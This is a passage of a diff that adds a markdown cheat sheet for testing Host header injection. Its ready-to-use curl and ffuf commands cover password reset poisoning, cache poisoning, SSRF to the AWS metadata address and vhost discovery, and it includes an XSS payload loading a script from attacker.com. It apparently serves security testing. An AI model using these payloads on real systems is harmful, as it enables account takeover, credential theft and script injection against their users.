|
61
|
+
# interactsh-client -v → get unique URL
|
|
62
|
+
# Replace attacker.com with your interactsh domain:
|
|
63
|
+
curl -X POST http://target.com/forgot-password \
|
|
64
|
+
-H "X-Forwarded-Host: <unique>.oast.fun" \
|
|
65
|
+
-d "email=test@target.com"
|
|
66
|
+
# If DNS/HTTP hit received → vulnerable
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Web Cache Poisoning via Host Header
|
|
71
|
+
|
|
72
|
+
Cache stores response keyed to URL only (not Host) → serve poisoned response to all users:
|
|
73
|
+
|
|
74
|
+
# Inject Host header that adds malicious content to response:
|
|
75
|
+
curl -H "Host: target.com" -H "X-Forwarded-Host: \" onmouseover=\"alert(1)" \
|
|
76
|
+
http://target.com/
|
|
77
|
+
|
|
78
|
+
# If server reflects Host in response (e.g., in canonical URL, meta refresh):
|
|
79
|
+
# <link rel="canonical" href="//attacker.com/page"/>
|
|
80
|
+
# This cached response → XSS for all users loading the cached page
|
|
81
|
+
|
|
82
|
+
# Check if response is cached:
|
|
83
|
+
curl -v http://target.com/ | grep -i "cache\|x-cache\|age\|cf-cache"
|
|
84
|
+
# X-Cache: HIT = cached
|
|
85
|
+
# Age: N = N seconds old cache
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## SSRF via Host Header
|
|
90
|
+
|
|
91
|
+
# If application makes backend requests using Host header value:
|
|
92
|
+
curl -H "Host: 169.254.169.254" http://target.com/
|
|
93
|
+
curl -H "Host: localhost" http://target.com/
|
|
94
|
+
curl -H "Host: internal-service.corp" http://target.com/
|
|
95
|
+
|
|
96
|
+
# AWS metadata via Host header SSRF:
|
|
97
|
+
curl -H "Host: 169.254.169.254" http://target.com/latest/meta-data/
|
|
98
|
+
|
|
99
|
+
# Check response: if internal content returned → SSRF via Host header
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## Routing Bypass (Virtual Host Switching)
|
|
104
|
+
|
|
105
|
+
# Try accessing admin vhost via Host header on same IP:
|
|
106
|
+
curl -H "Host: admin.internal" http://<target_ip>/
|
|
107
|
+
curl -H "Host: localhost" http://<target_ip>/
|
|
108
|
+
curl -H "Host: 127.0.0.1" http://<target_ip>/
|
|
109
|
+
|
|
110
|
+
# Find internal vhosts:
|
|
111
|
+
ffuf -u http://<target_ip>/ -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>
|
|
112
|
+
ffuf -u http://<target_ip>/ -H "Host: FUZZ" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Ambiguous Host Header (Request Smuggling Connection)
|
|
117
|
+
|
|
118
|
+
# Duplicate headers to confuse front-end vs back-end:
|
|
119
|
+
POST / HTTP/1.1
|
|
120
|
+
Host: target.com
|
|
121
|
+
Host: attacker.com
|
|
122
|
+
|
|
123
|
+
# Combined with HTTP request smuggling (see http_smuggling.md)
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## Headers to Test (Beyond Host)
|
|
128
|
+
|
|
129
|
+
X-Forwarded-Host: attacker.com
|
|
130
|
+
X-Host: attacker.com
|
|
131
|
+
X-Original-Host: attacker.com
|
|
132
|
+
X-Forwarded-Server: attacker.com
|
|
133
|
+
X-HTTP-Host-Override: attacker.com
|
|
134
|
+
Forwarded: host=attacker.com
|
|
135
|
+
|
|
136
|
+
# Test each header:
|
|
137
|
+
for header in "X-Forwarded-Host" "X-Host" "X-Original-Host" "X-Forwarded-Server" "X-HTTP-Host-Override"; do
|
|
138
|
+
echo "Testing $header:";
|
|
139
|
+
curl -s -H "$header: attacker.com" http://target.com/ | grep -i "attacker";
|
|
140
|
+
done
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Automated Testing
|
|
145
|
+
|
|
146
|
+
# nuclei:
|
|
147
|
+
nuclei -t http/vulnerabilities/generic/host-header-injection.yaml -u http://target.com/
|
|
148
|
+
|
|
149
|
+
# headi (host header injection scanner):
|
|
150
|
+
# go install github.com/mlcsec/headi@latest
|
|
151
|
+
headi -u http://target.com/
|
|
152
|
+
|
|
153
|
+
# Manual ffuf for vhost discovery:
|
|
154
|
+
ffuf -u http://target.com/ -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs <normal_size>
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## Pro Tips
|
|
159
|
+
|
|
160
|
+
1. Password reset + Host injection = **account takeover** — highest impact finding, test on every password reset endpoint
|
|
161
|
+
2. Always test `X-Forwarded-Host` — many apps trust this over `Host` for "flexibility"
|
|
162
|
+
3. Use interactsh for blind detection — sends OOB DNS/HTTP ping that confirms injection without reflection
|
|
163
|
+
4. Cache poisoning requires the poisoned content to actually be cached — check `X-Cache: HIT`
|
|
164
|
+
5. Combined with XSS: inject `"><script src=//attacker.com/xss.js>` as Host → cached XSS for all users
|
|
165
|
+
6. vHost brute force via ffuf finds hidden admin panels and staging environments
|
|
166
|
+
|
|
167
|
+
## Summary
|
|
168
|
+
|
|
169
|
+
Host header injection testing: Replace `Host: target.com` with `X-Forwarded-Host: attacker.com` → trigger password reset → check email for attacker domain in link. Also test for SSRF (`Host: 169.254.169.254`), vhost switching, and cache poisoning. Use interactsh for OOB blind detection. Password reset poisoning = ATO with no victim interaction.
|